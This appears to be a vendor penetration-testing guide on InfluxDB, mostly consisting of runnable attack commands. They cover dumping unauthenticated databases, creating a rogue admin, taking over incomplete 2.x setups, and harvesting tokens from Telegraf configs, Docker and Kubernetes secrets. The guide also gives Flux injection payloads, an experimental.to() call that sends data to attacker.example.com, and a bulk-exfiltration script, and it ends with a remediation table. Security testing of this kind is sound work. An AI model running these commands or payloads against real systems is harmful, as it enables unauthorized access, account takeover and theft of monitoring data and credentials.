InfluxDB is the most widely deployed time-series database, powering metrics pipelines for DevOps, IoT, and financial applications. Default installations — particularly InfluxDB 1.x — ship with authentication disabled and HTTP API exposed on port 8086. This guide covers unauthenticated query access, API token discovery, Flux query injection, Telegraf credential exposure, bucket enumeration, and the critical differences between securing InfluxDB 1.x versus 2.x.
InfluxDB exposes version information through its HTTP API. The version determines which attack surface applies — InfluxDB 1.x has drastically different (and more dangerous) defaults than 2.x.
# Detect InfluxDB version and configuration
curl -s http://influxdb.example.com:8086/ping
# Returns: X-Influxdb-Version header
curl -s http://influxdb.example.com:8086/ping -v 2>&1 | grep -i "x-influxdb-version\|x-influxdb-build"
# InfluxDB 1.x status endpoint
curl -s http://influxdb.example.com:8086/query?q=SHOW+DIAGNOSTICS | python3 -m json.tool
# InfluxDB 2.x health endpoint
curl -s http://influxdb.example.com:8086/health | jq .
# Check if InfluxDB UI is exposed (2.x)
curl -s http://influxdb.example.com:8086/ -I | grep -i "content-type\|x-influxdb"
# Network scan for InfluxDB
nmap -p 8086,8088 --script http-headers,banner influxdb.example.com
# Shodan search for exposed instances
# "influxdb" port:8086 http.title:"InfluxDB"
InfluxDB 1.x ships with authentication disabled by default. The HTTP API at port 8086 allows anyone to query, write, and administer the database without credentials. This is one of the most common misconfigurations in monitoring stacks deployed in the 2015-2020 era.
# Test unauthenticated access to InfluxDB 1.x
INFLUX_HOST="http://influxdb.example.com:8086"
# List all databases (no auth required on default install)
curl -s "$INFLUX_HOST/query?q=SHOW+DATABASES" | python3 -m json.tool
# List measurements in a database
curl -s "$INFLUX_HOST/query?db=telegraf&q=SHOW+MEASUREMENTS" | python3 -m json.tool
# Query all data from a measurement
curl -s "$INFLUX_HOST/query?db=telegraf&q=SELECT+*+FROM+cpu+LIMIT+100" | python3 -m json.tool
# Show users (often reveals admin accounts)
curl -s "$INFLUX_HOST/query?q=SHOW+USERS" | python3 -m json.tool
# Show retention policies
curl -s "$INFLUX_HOST/query?q=SHOW+RETENTION+POLICIES+ON+telegraf" | python3 -m json.tool
# Write arbitrary data (data poisoning)
curl -s -X POST "$INFLUX_HOST/write?db=telegraf" \
--data-binary "attacker_data,host=pwned value=1"
# Create admin user (privilege escalation on unauthenticated instance)
curl -s -X POST "$INFLUX_HOST/query" \
--data-urlencode "q=CREATE USER admin WITH PASSWORD 'attacker_password' WITH ALL PRIVILEGES"
# Drop databases (destructive — only in authorized pentests)
# curl -s -X POST "$INFLUX_HOST/query" --data-urlencode "q=DROP DATABASE telegraf"
# Full data extraction from unauthenticated InfluxDB 1.x
INFLUX_HOST="http://influxdb.example.com:8086"
# Get all databases
DBS=$(curl -s "$INFLUX_HOST/query?q=SHOW+DATABASES" | \
python3 -c "import sys,json; d=json.load(sys.stdin); [print(v[0]) for v in d['results'][0]['series'][0]['values'] if v[0] not in ['_internal']]")
for db in $DBS; do
echo "=== Database: $db ==="
# Get measurements
MEASUREMENTS=$(curl -s "$INFLUX_HOST/query?db=$db&q=SHOW+MEASUREMENTS" | \
python3 -c "import sys,json; d=json.load(sys.stdin); [print(v[0]) for v in d.get('results',[{}])[0].get('series',[{}])[0].get('values',[])]" 2>/dev/null)
for m in $MEASUREMENTS; do
echo " Measurement: $m"
# Get field keys (schema)
curl -s "$INFLUX_HOST/query?db=$db&q=SHOW+FIELD+KEYS+FROM+%22$m%22" | \
python3 -c "import sys,json; d=json.load(sys.stdin); [print(' ',v[0],v[1]) for s in d.get('results',[{}])[0].get('series',[]) for v in s.get('values',[])]" 2>/dev/null
done
done
InfluxDB 2.x requires authentication by default and uses an operator token for initial setup. However, misconfigurations like default operator tokens, weak passwords set during setup, and overly permissive API tokens remain common findings.
# InfluxDB 2.x API endpoint testing
INFLUX2_HOST="http://influxdb.example.com:8086"
# Check if setup is complete (incomplete setup = no auth)
curl -s "$INFLUX2_HOST/api/v2/setup" | jq '{allowed: .allowed}'
# allowed: true means setup is NOT complete — instance is unprotected
# Test if initial setup can still be performed (create admin account)
curl -s -X POST "$INFLUX2_HOST/api/v2/setup" \
-H "Content-Type: application/json" \
-d '{
"username": "attacker",
"password": "attacker_password123!",
"org": "attacker-org",
"bucket": "attacker-bucket",
"retentionPeriodSeconds": 0
}' | jq .
# Test unauthenticated API access (should fail on properly configured 2.x)
curl -s "$INFLUX2_HOST/api/v2/orgs" | jq .
curl -s "$INFLUX2_HOST/api/v2/buckets" | jq .
# Test with weak/default operator token
curl -s "$INFLUX2_HOST/api/v2/orgs" \
-H "Authorization: Token mytoken" | jq .
# Check Chronograf (1.x UI) if deployed alongside
curl -s http://influxdb.example.com:8888/ -I | head -10
InfluxDB 2.x API tokens grant access to specific buckets and organizations. These tokens are frequently hardcoded in application configurations, environment files, CI/CD pipelines, and Telegraf configuration files.
# Search for InfluxDB tokens in codebase and configs
# Token format for InfluxDB 2.x: [A-Za-z0-9_-]+==[A-Za-z0-9_-]+==
grep -rE '[A-Za-z0-9_-]{40,}==' /path/to/codebase --include="*.yml" --include="*.yaml" --include="*.conf" --include="*.env"
# Search in Telegraf configuration files
grep -rE 'token\s*=\s*"[^"]+"' /etc/telegraf/ 2>/dev/null
grep -rE 'Authorization:\s*Token\s+[A-Za-z0-9_=-]+' /etc/telegraf/ 2>/dev/null
# Search Docker environment variables
docker inspect $(docker ps -q) 2>/dev/null | grep -i "INFLUX\|influxdb" | grep -i "token\|password"
# Search Kubernetes secrets
kubectl get secrets -A -o json | python3 -c "
import sys,json,base64
d=json.load(sys.stdin)
for item in d['items']:
for k,v in item.get('data',{}).items():
if 'influx' in k.lower() or 'token' in k.lower():
try:
print(item['metadata']['name'], k, base64.b64decode(v).decode())
except: pass
"
# Once a token is found, enumerate what it can access
INFLUX_TOKEN="found_token_here"
curl -s "$INFLUX2_HOST/api/v2/me" \
-H "Authorization: Token $INFLUX_TOKEN" | jq .
curl -s "$INFLUX2_HOST/api/v2/orgs" \
-H "Authorization: Token $INFLUX_TOKEN" | jq '.orgs[] | {id, name}'
curl -s "$INFLUX2_HOST/api/v2/buckets" \
-H "Authorization: Token $INFLUX_TOKEN" | jq '.buckets[] | {id, name, orgID}'
Flux is InfluxDB 2.x's functional query language. If user input is interpolated directly into Flux queries in application code without sanitization, it can lead to Flux injection — exfiltrating data beyond the intended scope, bypassing bucket restrictions, or accessing unauthorized time ranges.
# Flux injection test patterns
# Vulnerable Flux template: from(bucket:"user_input") |> range(start: -1h)
# Injected: metrics") |> range(start: -10y) // exfiltrate all data
# Test basic Flux query injection via parameterized API
curl -s -X POST "$INFLUX2_HOST/api/v2/query" \
-H "Authorization: Token $INFLUX_TOKEN" \
-H "Content-Type: application/vnd.flux" \
--data 'from(bucket: "telegraf")
|> range(start: -1h)
|> filter(fn: (r) => r._measurement == "cpu")
|> limit(n: 5)'
# Test injection via HTTP API with user-controlled bucket parameter
# Application receives: ?bucket=telegraf&measurement=cpu
# Vulnerable code: query = f'from(bucket:"{bucket}") |> range(start:-1h)'
# Injection payload for bucket parameter:
# telegraf") |> range(start: -10y) // comment rest of query
# Test for SSRF via Flux experimental.to() function
curl -s -X POST "$INFLUX2_HOST/api/v2/query" \
-H "Authorization: Token $INFLUX_TOKEN" \
-H "Content-Type: application/vnd.flux" \
--data 'import "experimental"
from(bucket: "telegraf")
|> range(start: -1h)
|> limit(n: 1)
|> experimental.to(bucket: "exfil", org: "attacker-org", host: "http://attacker.example.com:8086", token: "attacker_token")'
# Enumerate all buckets accessible to a token via Flux
curl -s -X POST "$INFLUX2_HOST/api/v2/query" \
-H "Authorization: Token $INFLUX_TOKEN" \
-H "Content-Type: application/vnd.flux" \
--data 'buckets()' | grep -o '"name":"[^"]*"'
Telegraf is the data collection agent in the TICK stack. Telegraf configuration files contain InfluxDB connection strings with tokens or passwords, plus credentials for every monitored system — databases, cloud providers, APIs, and services.
# Common Telegraf config locations
TELEGRAF_CONFIGS=(
"/etc/telegraf/telegraf.conf"
"/etc/telegraf/telegraf.d/"
"/opt/telegraf/telegraf.conf"
"$HOME/.telegraf/telegraf.conf"
)
# Extract InfluxDB credentials from Telegraf config
grep -E '^\s*(token|password|username)\s*=' /etc/telegraf/telegraf.conf
# Find all output plugin credentials
grep -A5 '\[\[outputs\.' /etc/telegraf/telegraf.conf | grep -E "url|token|password|database"
# Telegraf HTTP input plugin — may expose sensitive data
grep -A10 '\[\[inputs.http\]\]' /etc/telegraf/telegraf.conf | grep -E "url|header|bearer"
# AWS CloudWatch input credentials in Telegraf
grep -A20 '\[\[inputs.cloudwatch\]\]' /etc/telegraf/telegraf.conf | grep -E "access_key|secret_key|role_arn"
# MySQL/PostgreSQL credentials collected by Telegraf
grep -A10 '\[\[inputs.mysql\]\]' /etc/telegraf/telegraf.conf | grep -E "servers|dsn"
grep -A10 '\[\[inputs.postgresql\]\]' /etc/telegraf/telegraf.conf | grep -E "address"
# Docker: check Telegraf container environment
docker exec telegraf env | grep -i "INFLUX\|TOKEN\|PASSWORD"
# Exfiltrate all data from an unauthenticated InfluxDB 1.x instance
INFLUX_HOST="http://influxdb.example.com:8086"
OUTPUT_DIR="/tmp/influxdb_exfil"
mkdir -p $OUTPUT_DIR
# Get all databases
DATABASES=$(curl -s "$INFLUX_HOST/query?q=SHOW+DATABASES" | \
python3 -c "import sys,json; d=json.load(sys.stdin); print('\n'.join([v[0] for v in d['results'][0]['series'][0]['values'] if v[0] != '_internal']))")
for db in $DATABASES; do
mkdir -p "$OUTPUT_DIR/$db"
# Get measurements
MEASUREMENTS=$(curl -s "$INFLUX_HOST/query?db=$db&q=SHOW+MEASUREMENTS" | \
python3 -c "import sys,json; d=json.load(sys.stdin); [print(v[0]) for s in d.get('results',[{}])[0].get('series',[]) for v in s.get('values',[])]" 2>/dev/null)
for m in $MEASUREMENTS; do
echo "Exfiltrating $db/$m..."
# Export in CSV format — all data, no time limit
curl -s "$INFLUX_HOST/query?db=$db&epoch=ns&q=SELECT+*+FROM+%22$m%22" \
-H "Accept: application/csv" > "$OUTPUT_DIR/$db/$m.csv"
done
done
# For InfluxDB 2.x with token
curl -s -X POST "$INFLUX2_HOST/api/v2/query" \
-H "Authorization: Token $INFLUX_TOKEN" \
-H "Accept: text/csv" \
-H "Content-Type: application/vnd.flux" \
--data "from(bucket: \"telegraf\") |> range(start: 2020-01-01T00:00:00Z)" \
> telegraf_full_export.csv
# InfluxDB Enterprise exposes additional ports for cluster communication
nmap -p 8086,8088,8089,8091 influxdb.example.com
# Meta node API (port 8091) — may expose cluster configuration
curl -s http://influxdb.example.com:8091/ping -I
curl -s http://influxdb.example.com:8091/metaservers | python3 -m json.tool
curl -s http://influxdb.example.com:8091/users | python3 -m json.tool
# Data node API (port 8088) — RPC endpoint for inter-node communication
curl -s http://influxdb.example.com:8088/ -I
# Check if Enterprise admin UI is exposed (port 3000)
curl -s http://influxdb.example.com:3000/ -I
# Chronograf (InfluxDB 1.x dashboard) — port 8888
curl -s http://influxdb.example.com:8888/ -I
# Chronograf unauthenticated access — often has no auth by default
curl -s "http://influxdb.example.com:8888/chronograf/v1/sources" | python3 -m json.tool
# Returns InfluxDB connection strings including credentials if stored in Chronograf
| Finding | Risk | Remediation |
|---|---|---|
| InfluxDB 1.x auth disabled | Critical | Set auth-enabled = true in influxdb.conf; create admin user; restart service |
| HTTP API exposed on 0.0.0.0 | High | Bind to localhost or internal interface; use firewall rules to restrict port 8086 |
| Operator token hardcoded in configs | High | Use environment variables; rotate tokens regularly; use scoped tokens per service |
| Telegraf config with credentials world-readable | High | chmod 600 /etc/telegraf/telegraf.conf; run Telegraf as dedicated user |
| Flux injection via user input | High | Never interpolate user input into Flux queries; use query parameters and allowlists |
| Meta node API exposed | High | Restrict meta node API (port 8091) to cluster nodes only via firewall |
| InfluxDB setup not completed | Critical | Complete initial setup immediately; the /api/v2/setup endpoint allows account takeover |
| No TLS on HTTP API | Medium | Enable HTTPS with valid TLS certificate; disable HTTP endpoint or redirect to HTTPS |
auth-enabled = true in /etc/influxdb/influxdb.confchmod 600 on Telegraf configuration filesexperimental.to() function if not requiredIronimo's Kali Linux-powered scanner automatically identifies unauthenticated InfluxDB instances, exposed API tokens, and misconfigured time-series database deployments in your infrastructure.
Start free scan